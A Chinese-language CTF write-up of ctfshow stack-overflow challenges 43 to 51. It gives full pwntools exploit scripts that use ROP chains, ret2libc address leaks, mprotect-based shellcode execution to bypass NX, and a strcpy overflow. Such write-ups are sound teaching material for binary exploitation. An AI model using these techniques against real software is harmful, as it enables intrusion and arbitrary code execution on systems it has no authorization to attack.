ctfshow writeup 栈
/writeup 84

P43 x86 使用gets写入bin/sh

无PIE,canary,有NX

char *ctfshow()
{
  char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

  return gets(s);
}

gets存在栈溢出

使用plt中的函数构造rop链

用gets写入binsh

buf2在bss段的地址:0x0804B060

根据x86下传参规则:

#写入binsh
#pop_ebx_ret是调整栈帧,返回时将buf2_addr从栈上清理
payload=……+p32(gets_plt)+p32(pop_ebx_ret)+p32(buf2_addr)
#system
payload+=p32(sys_plt)+p32(0)+p32(buf2_addr)

exp:

from pwn import *
p= process('./pwn')
#gdb.attach(p)

setoff= 0x6C
system_addr= 0x08048450
gets_addr= 0x08048420
bss_addr = 0x804b060
pop_ebx_ret= 0x08048409

p.recvuntil(b' * *************************************')
payload= b'a'*(setoff+4)+p32(gets_addr)+p32(pop_ebx_ret)+p32(system_addr)+p32(0x41414141)+p32(bss_addr)

p.sendline(payload)
p.sendline(b'/bin/sh\\x00')

p.interactive()

P44 x86 64 使用gets写入bin/sh

exp:

from pwn import *
p= process('./pwn')
gdb.attach(p)

setoff= 0xA
gets= 0x0000000000400530
sys= 0x0000000000400520
pop_rdi= 0x00000000004007f3
bss_addr= 0x0000000000602080

p.recv()

payload= b'a'*(setoff+8)+p64(pop_rdi)+p64(bss_addr)+p64(gets)+p64(pop_rdi)+p64(bss_addr)+p64(sys)
p.sendline(payload)
#p.sendline(b'/bin/sh\\x00')
p.interactive()

用rdi传参就可以了

P45 x86 ret2libc

exp:

from pwn import *

#p= process('./pwn45')
p = gdb.debug('./pwn45', '''
b main
c
''')
elf= ELF('./pwn45')
#gdb.attach(p,'b main')
context(os= 'linux',arch='i386',log_level='debug')

setoff= 0x6B
main= elf.sym['ctfshow']
write_got= elf.got['write']
write_plt= elf.plt['write']

payload= b'a'*(setoff+4)+ p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.recvuntil(b'O.o?')
p.sendline(payload)
p.recvline()                 #别惊讶为啥,puts("O.o?")时会输出换行符,recvuntil遇到分隔符?就停了,而换行符还在缓冲区
leak= p.recv()
leak2=u32(leak)
print(hex(leak2))
setoff2= 0x117b60
libc_base= leak2-setoff2
print(hex(libc_base))

sh= 0x001c4de8+libc_base
sys= 0x00050430+libc_base

payload= b'a'*(setoff+4)+p32(sys)+p32(0)+p32(sh)
p.sendline(payload)
p.interactive()

P46 x86_64 ret2libc

主要注意找到对应寄存器的gaddgets

exp:

from pwn import *
p= process('./pwn46')
gdb.attach(p)
elf= ELF('./pwn46')
context(os='linux',arch='amd64',log_level='debug')
setoff= 0x70
write_plt= elf.plt['write']
write_got= elf.got['write']
main_addr= elf.sym['ctfshow']
pop_rdi= 0x0000000000400803
p.recv()
payload= b'a'*(setoff+8)+p64(pop_rdi)+p64(1)+p64(0x400801)+p64(write_got)+p64(0)+p64(0x0000000000400520)+p64(main_addr)

p.sendline(payload)

leak= p.recv(8)
Leak= u64(leak)
print('this is your addr')
print(hex(Leak))
setoff2= 0x11c590
libc_base= Leak-setoff2
sh= 0x00000000001cb42f+libc_base
sys= 0x0000000000058750+libc_base

payload= b'a'*(setoff+8)+p64(pop_rdi)+p64(sh)+p64(sys)

p.sendline(payload)

p.interactive()

P49 mprotect和read写入shellcode

cheksec 发现有NX保护,可以使用mprotect修改内存执行权限绕过,然后用read写入shellcode跳转执行

*int mprotect(const void start, size_t len, int prot);

第一个参数填的是一个地址,是指需要进行操作的地址。 第二个参数是地址往后多大的长度。 第三个参数的是要赋予的权限。 mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值,一般设置为7可读可写可执行

💡

指定的内存区间必须包含整个内存页(4K=1000H),所以要选对齐的内存段

ctrl+s调出程序的段表,got.plt段:0x80DA000(像是bss那种可写的你也可以自己控制一下地址对齐拿来执行shellcode)

 payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size) + p32(M_proc)
 payload += p32(read_addr)  #pop ret 清理栈帧

ssize_t read(int fd, void *buf, size_t count)

 payload += p32(pop_ebx_esi_ebp_ret) + p32(0) + p32(M_addr) + p32(M_size) + 
p32(M_addr)

EXP:

from pwn import *

p=process('./pwn')
context(os="linux",arch="i386",log_level="debug")
#gdb.attach(p)

setoff= 0x12
mprotect= 0x806CDD0
M_addr= 0x80DA000
M_size= 0x1000
ret= 0x80a019b
 
shellcode= asm(shellcraft.sh())

payload= b'a'*(setoff+4)+p32(mprotect)
payload+= p32(ret)+p32(M_addr)+p32(M_size)+p32(7)+p32(0x806BEE0)
payload+= p32(ret)+p32(0)+p32(M_addr)+p32(M_size)
payload+=p32(M_addr)
p.send(payload)
p.send(shellcode)
p.recv()
p.interactive()

P50 x86_64 mprotect和read写入shellcode

from pwn import *

p=process('./pwn')
#p=remote('pwn.challenge.ctf.show',28115)
context(os= "linux",arch="amd64",log_level="debug")
elf= ELF('./pwn')
#gdb.attach(p)

setoff= 0x20
puts_plt= 0x0000000000400510
puts_got= elf.got['puts']
mprotect_setoff= 0x000000000011bae0
plt_got= 0x0000000000602000
size= 0x1000
pop_rdi= 0x00000000004007e3


p.recv()

payload= b'a'*(setoff+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(elf.sym['ctfshow'])
p.sendline(payload)
leak= u64(p.recv(6).ljust(8, b'\x00'))
libc_base=leak-0x809c0
pop_rsi= 0x0000000000023e6a+libc_base
pop_rdx= 0x0000000000001b96+libc_base
print(f"this isyour puts addr{hex(leak)}")
print(f"this is your libc base addr{hex(leak-0x809c0)}")

p.recv()
shellcode= asm(shellcraft.sh())


payload= b'a'*(setoff+8)+p64(pop_rdi)+p64(plt_got)+  p64(pop_rsi)+p64(0x1000)+ p64(pop_rdx)+p64(7)+ p64(libc_base+mprotect_setoff)
payload+= p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(plt_got)+p64(pop_rdx)+p64(0x1000)+p64(libc_base+0x0000000000110070)+p64(plt_got)


p.sendline(payload)
p.sendline(shellcode)


p.interactive()

调用mprotect前后:

P51 strcpy

32位,无PIE

一道阅读原码很困难(对我)的题

EXP:

from pwn import *
p= process('./pwn')

payload = b"I" * 16  
payload += p32(0x804902E)  

p.recv()

p.sendline(payload)
p.interactive()

分析源码

int ctfshow()
{
  int v0; // eax
  int v1; // eax
  unsigned int v2; // eax
  int v3; // eax
  const char *v4; // eax
  int v6; // [esp-Ch] [ebp-84h]
  int v7; // [esp-8h] [ebp-80h]
  char v8[12]; // [esp+0h] [ebp-78h] BYREF
  char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
  char v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
  char v11[24]; // [esp+44h] [ebp-34h] BYREF
  unsigned int i; // [esp+5Ch] [ebp-1Ch]

  memset(s, 0, sizeof(s));
  puts("Who are you?");
  read(0, s, 0x20u);
  std::string::operator=(&str1, &unk_804A350);  // 输入到str1= read +unk_804A350
                                                // 
  std::string::operator+=(&str1, s);
  std::string::basic_string(v10, &unk_804D0B8);
  std::string::basic_string(v11, &str1);
  Divide(v8);                                   // 分离str1中的i以外字符串到v8
  std::string::~string(v11, v11, v10);
  std::string::~string(v10, v6, v7);
  if ( sub_80496D6(v8) > 1u )
  {
    std::string::operator=(&str1, &unk_804A350);
    v0 = sub_8049700(v8, 0);
    if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )  
    {
      v1 = sub_8049700(v8, 0);
      std::string::operator+=(&str1, v1);
    }
    for ( i = 1; ; ++i )
    {
      v2 = sub_80496D6(v8);
      if ( v2 <= i )
        break;
      std::string::operator+=(&str1, "IronMan");
      v3 = sub_8049700(v8, i);
      std::string::operator+=(&str1, v3);
    }
  }
  v4 = (const char *)std::string::c_str(&str1);
  strcpy(s, v4);
  printf("Wow!you are:%s", s);
  return sub_8049616(v8);
}

在divide中:

把a2以a3为分隔符分成元素并存入a1

int __userpurge sub_8048F06@<eax>(int a1, int a2, int a3)
{
  int v3; // eax
  int v5; // [esp-Ch] [ebp-54h]
  int v6; // [esp-8h] [ebp-50h]
  char v7[24]; // [esp+Ch] [ebp-3Ch] BYREF
  unsigned int v8; // [esp+24h] [ebp-24h]
  unsigned int v9; // [esp+28h] [ebp-20h]
  int i; // [esp+2Ch] [ebp-1Ch]

  initialstr(a1);
  std::string::operator+=(a2, a3);
  v9 = std::string::size(a2);
  for ( i = 0; i < (int)v9; ++i )                    //遍历
  {                                                  
    v8 = std::string::find(a2, a3, i);               //从a2[i]开始寻找a3并返回是第几个字节
    if ( v8 < v9 )
    {
      v6 = i;                                        //~要用
      std::string::substr(v7);                       // substr(v7,a2,i,v8-i)  v7=a2[i---v8-i]就是分隔符之间的内容
      sub_8049662(a1, v7);                           //存入
      v3 = std::string::size(a3);
      i = v3 + v8 - 1;                               //i跳跃至分隔符之后
      std::string::~string(v7, v5, v6);
    }
  }
  return a1;
}

仔细看看 sub_8049662(a1, v7);

void **__cdecl sub_8049662(int a1, int a2)
{
  void **result; // eax
  int v3[3]; // [esp+Ch] [ebp-Ch] BYREF

  if ( *(_DWORD *)(a1 + 4) == *(_DWORD *)(a1 + 8) )
  {
    sub_804985C(v3);
    return sub_8049888((void **)a1, v3[0], a2);
  }
  else
  {
    sub_8049828(a1, *(_DWORD *)(a1 + 4), a2);
    result = (void **)a1;
    *(_DWORD *)(a1 + 4) += 24;
  }
  return result;
}

可以发现有个vector结构

a1→起始地址

a1+4→下一个插入地址

a1+8→最大空间

每个元素24字节

其实看不太懂,不过这并不重要,理解下原字符串被分隔成几段并存在一个容器里就行

if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )  //第一个前不用加IronMan所以单独处理
    {
      v1 = sub_8049700(v8, 0);
      std::string::operator+=(&str1, v1);
    }
    for ( i = 1; ; ++i )
    {
      v2 = sub_80496D6(v8);                       
      if ( v2 <= i )                                   //因为第0个已经处理,所以少处理1个:1---num-1
        break;
      std::string::operator+=(&str1, "IronMan");       //超级拼接
      v3 = sub_8049700(v8, i);
      std::string::operator+=(&str1, v3);
    }

因为strcpy并不会检查是否超出范围,所以多写几个“I”直到覆盖到eip就行,程序内有后面函数cat flag

“IronMan”7个字节,(6C+4)/7=16

payload= b'I'*16+ p32(0x804902E)

ctfshow writeup 栈
http://47.100.250.251:8091/archives/ctfshow-writeup
作者
Administrator
发布于
更新于
许可